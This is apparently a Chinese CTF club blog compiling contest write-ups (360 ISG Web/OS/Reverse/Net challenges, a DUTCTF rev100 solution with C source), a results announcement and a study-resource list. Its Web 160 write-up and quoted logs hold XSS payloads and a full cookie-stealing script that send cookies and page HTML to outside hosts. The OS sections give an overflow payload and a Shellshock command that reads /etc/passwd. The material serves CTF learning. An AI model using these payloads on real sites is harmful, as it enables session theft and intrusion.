unescape((("iYbgcQD"<="ZDJbgwjxH")?(981<<(-~-0-1)):(("wVJTgSZum"!=73171390)?String.fromCharCode(99E0000, ((74>>(-~1-1))<<(("qInlSEQAC"!=1971649)?0:715912)), (51E+00000<<0), (((1023==22)?27051:(-~65-1))<<(0>>0)), parseInt("25", 16), ((((~~53)>>(0)))^(-1)+1), ((67E+000<<0)<<0), (~~(~~11.9E+001)), 105E+00000, ("", unescape("OnY"), 110), (((49662263==963834)?"EvBDfGnk":223)-(123>>(0))), (-~11.1E1-1), (((119)^(-1)+1)<<parseInt("0", 2)), ((115<<((0)>>(0)))>>((0)>>(0))), 37, (-~(("qIGAZWko", 53)<<(0))-1), 67e+00, ((959854528>="VUsUeDs")?"GfR".split("").reverse().join(""):101), ((-~((1<<6)+56)-1)<<(656218, 0)), (448>>("knoVd", "", 2)), ((267>>(0))-(-(-159))), ((444>>2)>>(0)), (("UtmHWsEw"!=825704629)?(456e00>>(1<<1)):unescape("?  ? ?  ?  ?  ?   E ? w?]?? P檤}?w彧筆?)? Ip")), 101, ((57E00<<0)<<1), (-~((92>>(0))>>(178263, 6994229, 1))-1), (-~101-1), (~~12.0E001), (-(-(~~(("ZmSlaRt"<2448443)?"SIhD":101)))), 32, (((((37>>(0)))^(-1)+1))^(-1)+1), ((53E0000>>0)>>0), ((("icuMppvs"<897081)?45063:((3295257<67659)?957:67))<<0), (-(-(-~37-1))), (((70025<="cJecgz")?"MPLoegx":(-34))+(174>>1)), 67, (49e+00<<parseInt("1", 15)), ((13<<1)+(42975201, "ymv", "", "", 93)), (236>>(("TgKX"<29845901)?454:((3190<="MQfOBSc")?"Dmjel":1))), (98), 112, ("zyEZT".split("").reverse().join(""), 682149, 114), (((232)>>((49>"qBaCavK")?83:1))<<(-~-0-1)), (46), ((351!=82)?10.1E00001:parseInt("24259", 26)), ((48.0E01>>(1<<1))>>((-(("oA"<"Sr")?"onxYT":(0)))^(-1)+1)), (101)):(String.fromCharCode((("jDwp", 109)<<(0)))+"q"+"i"))));

运行之后得到"c:\windows\explorer.exe \\bwvbprt.exe",用CVE + bwvbprt作为关键词进行检索发现是:CVE-2014-0773`。

Net 160

类似RS232,每10位一组,下标从0开始,第1-7位是ASCII,第8位是校验位,写个脚本处理一下:

import struct

for i in range(1, 9):
    with open('b' + str(i) + '.txt', 'wb') as w:
        with open('b.txt', 'r') as r:
            for l in r.readlines():
                t = 0
                a = 1
                for j in range(1, 9):
                    if j != i:
                        if l[j] == '1':
                            t += a
                        a <<= 1
                print(t)
                w.write(struct.pack('1B', t))

OS 10

parse_packet()中的char community_name[10]存在溢出漏洞,header的格式是1字节类别+1字节长度,version的值必须为2。程序中存在函数0x400824用于读取flag,于是构造溢出:

\x30\x00\x02\x04\x00\x00\x00\x02\x0a\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x24\x08\x40\x00

OS 20

Google一下有直接打/etc/passwd的Payload
https://blog.cloudflare.com/inside-shellshock/

加个Referer来绕过检查。

() {:;}; /bin/cat /etc/passwd

用Burp的repeater加在UA处即可得到flag。

Reverse 40

下载下来之后发现是个exe,拖进Peid中,发现没有加壳,是个VC8的程序,打开exe文件,发现需要填写账号和密码,我们写进自己的账号,并在验证的按钮处下一个断点,位置在

0x0045B750

进入断点后,我们单步一直往下跟,首先会发现程序对输入的用户名和程序存储的用户名进行比较。继续往下跟,发现算法其实很简单,是一个Transposition Cipher Solver 的问题,把输入的密码每隔以为进行分割,然后奇数和偶数位分别组成字符串合到一起,处理后的字符串与程序中的进行比较。我们只要将程序中的字符串反过来处理一遍就能得到密码,也就是最终的flag

Reverse 80

打开PDF发现文档打开时会执行脚本:

//<Document-Actions>
//<ACRO_source>文档打开</ACRO_source>
//<ACRO_script>
/*********** 属于:Document-Actions:文档打开 ***********/

// 太长省略

    for (OtqwAabDCukgckmkSsszrelXkzTzqQiYcGawWOSrHkbxyUmuNOccVEOGVPDNTeCpKjkPCAfdtpIDAnzhVANxiGYHeVAFqIIhm=0;OtqwAabDCukgckmkSsszrelXkzTzqQiYcGawWOSrHkbxyUmuNOccVEOGVPDNTeCpKjkPCAfdtpIDAnzhVANxiGYHeVAFqIIhm<1450;OtqwAabDCukgckmkSsszrelXkzTzqQiYcGawWOSrHkbxyUmuNOccVEOGVPDNTeCpKjkPCAfdtpIDAnzhVANxiGYHeVAFqIIhm++) B[OtqwAabDCukgckmkSsszrelXkzTzqQiYcGawWOSrHkbxyUmuNOccVEOGVPDNTeCpKjkPCAfdtpIDAnzhVANxiGYHeVAFqIIhm] = yruXtuLATsVgRHfINgmhqtLRsIsaTkOVZcFnuaBhLpfmiLOZuLHjIBOFTikLVcTswjqLQQkqpYWtktNuhdHNuKjFgjCqNTYGG + bUQrgSIqvBTMIcSVloEgDsmSFJKzNOOhLayThJddFfMEEsvjJrEqQAHOfcPusGgNnZGszHFXQKezzaUxnaXtoyfluqBJddjV;
    util.printf("%45000.45000f", 0);
          
//</ACRO_script>
//</Document-Actions>

最后的输出格式比较异样,用util.printf进行检索发现CVE-2008-2992,在新版本中已经修复了,想办法用旧版本打开即可看到flag。

Web 10

下载图片,在图片结尾发现:
Where is the key ?{ZW1lbS4uLiAvY3RmXzM2MF9mbGFn}
直接提交发现不对,将中括号之间的字符串解密得到:
emem... /ctf_360_flag
再结合提示加上.DC_Store 访问
http://isg.campus.360.cn/web1/ctf_360_flag/.DC_Store/
得到flag

Web 20

在得到提示后发现vi意外退出的swp文件:
http://isg.campus.360.cn/web2/check.php.swp
看到代码后,找到P大的一篇文章:
https://www.leavesongs.com/PENETRATION/findpwd-funny-logic-vul.html

把邮箱改为admin@360.cn 然后vcode改为000000000a
提交得到flag

Web 40

同10一样,打开图片,发现结尾有字符串,好像是php代码,但是被morse encode了:

-.  ..  ..-.  ---..  ----.  .-  ;
<..--..  .--.  ....  .--.   $.-   = "-----  .-.-.-  .----  ";$-...   = $_--.  .  -  [.----.  -...  .----.  ];..  ..-.  ($-...   -.-.--  = .----.  .----.  ){    ..  ..-.   (..  ...  _.-  .-.  .-.  .-  -.--  ($-...  )){        .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";        .  -..-  ..  -  ;    }.  .-..  ...  .  ..  ..-.  (-.-.--  ..  ...  _-.  ..-  --  .  .-.  ..  -.-.  ($-...  )){       $-.-.   = (..  -.  -  )(($.-   + $-...  ) * .----  -----  );        ..  ..-.   ($-.-.   == "---..  " && $-...  [.----  -----  ] == ..-.  .-  .-..  ...  .  ){            .  -.-.  ....  ---   "..-.  .-..  .-  --.  ";        }.  .-..  ...  .  {            .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";            .  -..-  ..  -  ;        }    }.  .-..  ...  .  {        .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";    }}.  .-..  ...  .  {    .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";}..--..

解密之:

<?PHP
$A="0.1";
$B=$_GET['B'];
IF($B!=''){
    IF(IS_ARRAY($B)){
        ECHO"NOKEY!";EXIT;
        }
        ELSEIF(!IS_NUMERIC($B)){
            $C=(INT)(($A+$B)*10);
            IF($C=="8"&&$B[10]==FALSE){
                ECHO"FLAG";
                }
                ELSE{
                    ECHO"NOKEY!";EXIT;
                    }
        }
    ELSE{
        ECHO"NOKEY!";}
        }
ELSE{
    ECHO"NOKEY!";
}
?>

根据代码要求,输入querystring的b不能完全是数字,第11位为0,且和0.1相加再乘10取整后为8,构造b=0.71000000000000c
以get方式提交,获得flag

Web 160

测试各种万能密码无效。
题目强调了记录,脑洞了一下觉得是XSS。
在登陆框提交

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R29g930';>

然后打到Cookie

location : http://106.120.166.134/web5/admin
toplocation : http://106.120.166.134/web5/admin
cookie : PHPSESSID=ihh8f7hmb3a2ke1ab3g4kjacr6; BEEFHOOK=FpVUxuRn7MfVX3ZfGjB9n738QfOqnLqB05pFhBAfbCN8y0jPlcQQwHk91NF3sKUwjASXZCIXMxXfSt4p
opener :
HTTP_REFERER : http://106.120.166.134/web5/admin
HTTP_USER_AGENT : Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
REMOTE_ADDR : 218.30.116.4

但是登录不上去。XFF ClientIP等试了一遍无果。
写了个Payload读到网页源代码

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>GeekGame2015%u9884%u9009%u8D5B%u9898%u76EE</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" type="text/css" href="/css/bootstrap.min.css">
<link rel="stylesheet" type="text/css" href="/css/main.css">
<script type="text/javascript" src="/js/jquery.min.js"></script>
</head>
<body>
<div class="container">
    <div class="question-container">
        <div class="panel panel-default">
            <div class="panel-body"><script>
    window.alert = function(str) {
        return;
    }

    window.prompt = function(str) {
        return;
    }

    window.confirm = function(str) {
        return;
    }

    function refresh() {
        window.location.reload();
    }

    setTimeout('refresh()',2000);
</script>

<div class="alert alert-info">%u7BA1%u7406%u540E%u53F0</div>
<div class="register-container">
    <form action="/web5/adduser" method="post">
        <div class="form-group">
            <label for="inputName">%u5E10%u53F7%uFF1A</label>
            <input class="form-control" name="name" placeholder="%u5E10%u53F7" id="name" autofocus="" type="text">
        </div>
        <div class="form-group">
            <label for="inputPass">%u5BC6%u7801%uFF1A</label>
            <input class="form-control" name="pass" placeholder="%u5BC6%u7801" id="pass" type="password">
        </div>      
        <button class="btn btn-lg btn-primary btn-block" type="submit">%u6DFB%u52A0%u7528%u6237</button>
    </form>
</div>
<hr>
<div class="alert alert-info">%u767B%u5F55%u65E5%u5FD7</div>
<div class="register-container">
    <div class="panel-body">
                <table class="table table-striped">
                        <tbody><tr>
                <td>peterkui AND 2049=2049</td>
            </tr>
                        <tr>
                <td>peterkui AND 3932=5553</td>
            </tr>
                        <tr>
                <td>peterkui))) AND 6854=3977 AND (((1829=1829</td>
            </tr>
                        <tr>
                <td>peterkui))) AND 2049=2049 AND (((4971=4971</td>
            </tr>
                        <tr>
                <td>peterkui))) AND 1107=6420 AND (((1118=1118</td>
            </tr>
                        <tr>
                <td>peterkui)) AND 2626=6288 AND ((8668=8668</td>
            </tr>
                        <tr>
                <td>peterkui)) AND 2049=2049 AND ((1118=1118</td>
            </tr>
                        <tr>
                <td>peterkui)) AND 1794=9862 AND ((3924=3924</td>
            </tr>
                        <tr>
                <td>peterkui) AND 7987=8622 AND (3572=3572</td>
            </tr>
                        <tr>
                <td>peterkui) AND 2049=2049 AND (5888=5888</td>
            </tr>
                        <tr>
                <td>peterkui) AND 8291=1617 AND (2984=2984</td>
            </tr>
                        <tr>
                <td>peterkui\' AND 5775=9698</td>
            </tr>
                        <tr>
                <td>peterkui\' AND 2049=2049</td>
            </tr>
                        <tr>
                <td>peterkui\' AND 8729=9060</td>
            </tr>
                        <tr>
                <td>peterkui) AND 6117=1217</td>
            </tr>
                        <tr>
                <td>peterkui) AND 2049=2049</td>
            </tr>
                        <tr>
                <td>peterkui) AND 7091=2682</td>
            </tr>
                        <tr>
                <td>peterkui\'tuSe&lt;\'\"&gt;ysCu</td>
            </tr>
                        <tr>
                <td>peterkui(..))\"..\'(</td>
            </tr>
                        <tr>
                <td>peterkui</td>
            </tr>
                        <tr>
                <td>peterkui</td>
            </tr>
                        <tr>
                <td>\'||\'</td>
            </tr>
                        <tr>
                <td>peterkui</td>
            </tr>
                        <tr>
                <td>th1nk</td>
            </tr>
                        <tr>
                <td>nlfox</td>
            </tr>
                        <tr>
                <td>th1nk</td>
            </tr>
                        <tr>
                <td>1</td>
            </tr>
                        <tr>
                <td>123</td>
            </tr>
                        <tr>
                <td><script src="http://x58pw.sinaapp.com/WZ5U57?1433594677"></script></td>
            </tr>
                        <tr>
                <td>123</td>
            </tr>
                        <tr>
                <td>Veneno</td>
            </tr>
                        <tr>
                <td>test</td>
            </tr>
                        <tr>
                <td>asdzxc</td>
            </tr>
                        <tr>
                <td>/&gt;<script src="\&quot;http://hackme.xcat.me/hacker.js\&quot;"></script></td>
            </tr>
                        <tr>
                <td>test</td>
            </tr>
                        <tr>
                <td>/&gt;<script src="\&quot;http://hackme.xcat.me/hacker.js\&quot;"></script></td>
            </tr>
                        <tr>
                <td>asdzxc</td>
            </tr>
                        <tr>
                <td><script src="http://webxss.net/rYmZwE?1433594633"></script></td>
            </tr>
                        <tr>
                <td>\"&gt;<script src="\&quot;http://hackme.xcat.me/hacker.js\&quot;"></script></td>
            </tr>
                        <tr>
                <td>explosion</td>
            </tr>
                        <tr>
                <td>nlfox</td>
            </tr>
                        <tr>
                <td>fdas</td>
            </tr>
                        <tr>
                <td>nlfox</td>
            </tr>
                        <tr>
                <td><script></td>
            </tr>
                        <tr>
                <td><script src=http://webxss.net/rYmZwE?1433594633></script></td>
            </tr>
                        <tr>
                <td>678</td>
            </tr>
                        <tr>
                <td>11</td>
            </tr>
                        <tr>
                <td><img src="#" id="xssyou" style="display:none" onerror="eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2F113.251.216.253%2Fxss.php?a=%3F%22%2Bescape(document.documentElement.outerHTML)%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//</sCript"></td>
            </tr>
                        <tr>
                <td>\'\"&gt;<script src="http://blacktech.sinaapp.com/ctf.js"></script></td></tr></tbody></table></div></div></div></div></div></div><form method="POST"><input name="name" type="hidden"><input name="pass" type="hidden"></form></body>

看来是个加用户页面。写个Ajax帮他加个用户,登录得到flag。

(function(){(new Image()).src='http://xssan.com/index.php?do=api&id=DPsDMk&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if(''==1){keep=new Image();keep.src='http://xssan.com/index.php?do=keepsession&id=DPsDMk&url='+escape(document.location)+'&cookie='+escape(document.cookie)};
var pkav={
 ajax:function(){
    var xmlHttp;
    try{
      xmlHttp=new XMLHttpRequest();
   }catch (e){
     try{
        xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
      }catch (e){
       try{
          xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
       }
       catch (e){
          return false;
       }
     }
   }
   return xmlHttp;
 },
  req:function(url,data,method,callback){
   method=(method||"").toUpperCase();
    method=method||"GET";
   data=data||"";
    if(url){
      var a=this.ajax();
      a.open(method,url,true);
      if(method=="POST"){
       a.setRequestHeader("Content-type","application/x-www-form-urlencoded");
     }
     a.onreadystatechange=function(){
        if (a.readyState==4 && a.status==200)
       {
         if(callback){
           callback(a.responseText);
         }
       }
     };
      if((typeof data)=="object"){
        var arr=[];
       for(var i in data){
         arr.push(i+"="+encodeURIComponent(data[i]));
        }
       a.send(arr.join("&"));
      }else{
        a.send(data||null);
     }
   }
 },
  get:function(url,callback){
   this.req(url,"","GET",callback);
  },
  post:function(url,data,callback){
   this.req(url,data,"POST",callback);
 }
};
if(!window.__x){
    pkav.post("http://blacktech.sinaapp.com/test.php","usr=233333&psw="+escape(document.getElementsByTagName('html')[0].innerHTML),function(rs){});
    
    pkav.post("http://106.120.166.137/web5/adduser","name=nlfox&pass=nlfox",function(rs){});
    
  window.__x=1;
}

DUTCTF_rev100_writeup

这道题是一道废题,因为放到平台上的时候,题目描述给错了,没有给出待解密的字符串。同时,源程序有一个错误,过早给信号量V操作,但是并不非常影响解题。但是有几个朋友想知道怎么做,我还是写一下。
逆向的过程略过。

略过逆向分析,只来说一下算法。

并行只是一个幌子,只是为了增加一点随机性。对于[0,8)的一个排列,会有一个前缀和集合的排列,例如[0,1,3,6,10,15,21]。

关键语句:(char)arg = table[((char)arg-'A'+a)%26];
由于a不超过26
逆向算法:decrypted[i]=(table.index(encrypted[i])-a)+26)%26+'A'
a是一个未知的向量,而且是前缀和集合的排列,因此我们做全排列,解出7!个解。

然而这个数很大,但是注意到多线程的运行顺序,大致上上符合FIFO,并不会差太多。
因此真正的解一定出现在很靠前的位置(条件是全排列从小到大)

过滤掉前面的LH,LN等明显不是英语的前缀的解之后,看到KICKASS,flag即为DUTSEC{KICKASS}

综上,这道题出得很赶时间,出得也不好,大家见笑了。

下面是猜解程序:

#!/usr/bin/python
used = [0]*7
choose = [0]*7
encrypted = 'PSJJHXZ'
table = ['R', 'M', 'X', 'K', 'O', 'J', 'H', 'Z', 'S', 'F', 'I', 'P', 'D', 'L', 'T', 'N', 'U', 'C', 'V', 'A', 'Q', 'B', 'E', 'Y', 'W', 'G'];

def dfs(l):
        if l == 7:
                o = []
                for i in range(7):
                        o.append(chr(((table.index(encrypted[i])-b[choose[i]])+26)%26+65))
                print ''.join(o)

                return
        for i in range(7):
                if not used[i]:
                        used[i] = True
                        choose[l] = i
                        dfs(l+1)
                        used[i] = False

if __name__ == '__main__':
        a = range(7)
        b = [0]*7
        s = 0
        for i in range(7):
                b[i] = s = s+a[i]

        dfs(0)

附:
代码的修改,删掉了多余的PV操作,实际上是增长了临界区。
diff rev100.c rev100_wrong.c
24d23
< sem_post(&sem);
32d30
< sem_wait(&sem);

更新后的代码:

#include "stdio.h"
#include "pthread.h"
#include "stdlib.h"
#include "unistd.h"
#include "semaphore.h"
#include "string.h"
#define ALL 7
char input[1024];
int queue[ALL];
int r;
int signal = 1;
pthread_t thread[ALL];
sem_t sem;
const char table[] = 
{'R', 'M', 'X', 'K', 'O', 'J', 'H', 'Z', 'S', 'F', 'I', 'P', 'D', 'L', 'T', 'N', 'U', 'C', 'V', 'A', 'Q', 'B', 'E', 'Y', 'W', 'G'};

int t = 0;

void* func(void* arg){
        sem_wait(&sem);
        t ++;

        int i;
        int a = 0;
        for (i=0;i<t;i++){
                a += i;
        }

        *(char*)arg = table[(*(char*)arg-'A'+a)%26];
        sem_post(&sem);
}

void work(char* input){
        int i;
        int res;

        res = sem_init(&sem,1,1);   
        if (res == -1){
                perror("semaphore intitialization failed\n"); 
                exit(EXIT_FAILURE); 
        }

        for (i=0;i<ALL;i++){
                res = pthread_create(&thread[i], NULL, &func, (void*)(input+i));
                if(res != 0)  {  
                        perror("pthread_create failed\n");  
                        exit(EXIT_FAILURE);  
                }  
        } 
        int result = 0;
        for (i=0;i<ALL;i++){
                res = pthread_join(thread[i], NULL);
                if(res != 0)  {  
                        perror("pthread_join failed\n");
                        exit(EXIT_FAILURE);  
                }
        }
        sem_destroy(&sem);

        printf("%s",input);
        
}

int main(int argc,char** argv){
        int i;
        if (argc < 2)
                return 1;
        int len = strlen(argv[1]);
        if (len != ALL)
                return 1;
        for (i=0;i<len;i++)
                if (argv[1][i]<'A'||argv[1][i]>'Z')
                        return 1;
        strcpy(input,argv[1]);
        work(input);
        return 0;
}

DUTCTF暨第一届大工信息安全挑战赛圆满落幕

经过两天的激烈角逐,最终由来自电子信息与电气工程学部的2012级本科生木林森林木赢得比赛的冠军。最后的总积分排行如下:
QQ截图20150427194218.png
其中校内前五名分别是:
2012级本科生木林森林木
2013级研究生CyberZHG
2011级本科生sdq11111
2012级本科生shadowjjw
2013级本科生jack77213

在此恭喜他们~~也希望DUT hacker们能够在接下来的CTF比赛中取得好的成绩

接下来是选手们的writeup:
http://pan.baidu.com/s/1sjqNwSl

外校大神Beee的writeup:
http://bobao.360.cn/ctf/learning/129.html

信息安全学习资料

信息安全学习资料
最好的老师就是:www.google.com www.baidu.com
作为一个信息安全爱好者,首先应当具备的能力就是搜索信息的能力,不做伸手党,从我做起

WEB
基础知识:
网站:http://www.w3cschool.cc/ http://www.w3school.com.cn/
书:
基础:《白帽子讲web安全》《黑客攻防技术宝典:WEB实战篇》
SQL注入:《sql注入攻击与防御》
XSS:《Web前端黑客技术揭秘》 《XSS跨站脚本攻击剖析与防御》

逆向
《Reverse Engineering for Beginners》
http://yurichev.com/writings/RE_for_beginners-en.pdf
软件破解入门教程和解密常用手册
http://download.csdn.net/detail/newparker/4243876
《加密与解密(第3版)》
http://download.csdn.net/detail/newparker/4243862
脱壳入门教学
http://bbs.pediy.com/showthread.php?p=138783
常用的断点
http://bbs.pediy.com/showthread.php?t=31609

漏洞利用
《缓冲区溢出入门》
http://download.csdn.net/detail/newparker/4243912
《缓冲区溢出攻击—检测、剖析与预防》
http://download.csdn.net/detail/newparker/4243918
Exploit 编写系列教程专题:
http://bbs.pediy.com/showthread.php?t=101217

在线CTF练习平台
http://ctf.idf.cn/
http://oj.xctf.org.cn/

在线学习平台
http://erange.heetian.com/
http://www.simplexue.com/

资料随时更新